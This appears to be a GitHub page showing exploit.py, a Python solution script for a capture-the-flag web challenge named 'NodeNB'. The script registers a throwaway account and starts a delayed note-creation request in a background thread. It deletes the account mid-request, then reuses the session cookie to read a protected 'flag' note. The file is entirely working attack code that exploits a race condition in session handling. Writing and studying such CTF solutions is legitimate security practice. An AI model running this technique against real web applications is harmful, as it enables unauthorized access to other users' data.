-
Notifications
You must be signed in to change notification settings - Fork 2
/
Copy pathexploit.py
126 lines (97 loc) · 3.23 KB
/
exploit.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
#!/usr/bin/env python3
import argparse
import requests
import json
from urllib.parse import quote
from pwn import remote, log
import string
import random
import re
from threading import Thread
import time
def die(msg):
log.error(msg)
exit(1)
def rand_str(size=8, chars=string.ascii_letters + string.digits):
return ''.join(random.choice(chars) for _ in range(size))
def register(base):
data = {
'username': rand_str(),
'password': rand_str(),
}
r = requests.post(f'{base}/register', data=data, allow_redirects=False)
if r.status_code != 302:
die(f'could not register: {r.status_code} {r.text}')
if r.headers['location'] != '/login':
die(f'could not register: {r.status_code} {r.text}')
return data
def login(base, username, password):
session = requests.Session()
data = {
'username': username,
'password': password,
}
r = session.post(f'{base}/login', data=data, allow_redirects=False)
if r.status_code != 302:
die(f'could not login: {r.status_code} {r.text}')
return session
def create_random_note(base, session, title, content):
data = {
'title': title,
'content': content,
}
url = f'{base}/notes?random=1'
r = session.post(url, data=data, allow_redirects=False)
if r.status_code != 302:
die(f'could not create note: {r.status_code} {r.text}')
return r.headers['location'][len('/notes/'):]
def get_note(base, session, id):
r = session.get(f'{base}/notes/{id}', allow_redirects=False)
if r.status_code != 200:
return None
html = r.text
title_search = re.search('<h5[^>]*>([^<]*)</h5>', html, re.IGNORECASE)
content_search = re.search('<p[^>]*>([^<]*)</p>', html, re.IGNORECASE)
return {
'title': title_search.group(1),
'content': content_search.group(1),
}
def delete_me(base, session):
session_cookie = session.cookies.get_dict()['connect.sid']
r = session.post(f'{base}/deleteme', allow_redirects=False)
if r.status_code != 302:
die(f'could not delete me: {r.status_code} {r.text}')
return session_cookie
def do_async(func):
thread = Thread(target=func)
thread.start()
return thread
def exploit(base):
log.info('Registering user')
user = register(base)
log.info(f'User: {user}')
log.info('Logging in')
sess = login(base, user['username'], user['password'])
log.info('Delaying session write')
thread = do_async(lambda: create_random_note(base, sess, 'my title', 'my content'))
time.sleep(1)
log.info('Committing account sudoku')
session_cookie = delete_me(base, sess)
log.info(f'Cookie: {session_cookie}')
log.info('Waiting for delayed write')
thread.join()
log.info('Getting flag note')
sess.cookies.set('connect.sid', session_cookie)
flag_note = get_note(base, sess, 'flag')
if flag_note is None:
log.warn('could not get flag')
else:
flag = flag_note['content']
log.success(f'Flag: {flag}')
def main():
parser = argparse.ArgumentParser(description='NodeNB exploit')
parser.add_argument('baseurl', help='challenge url')
args = parser.parse_args()
exploit(args.baseurl)
if __name__ == "__main__":
main()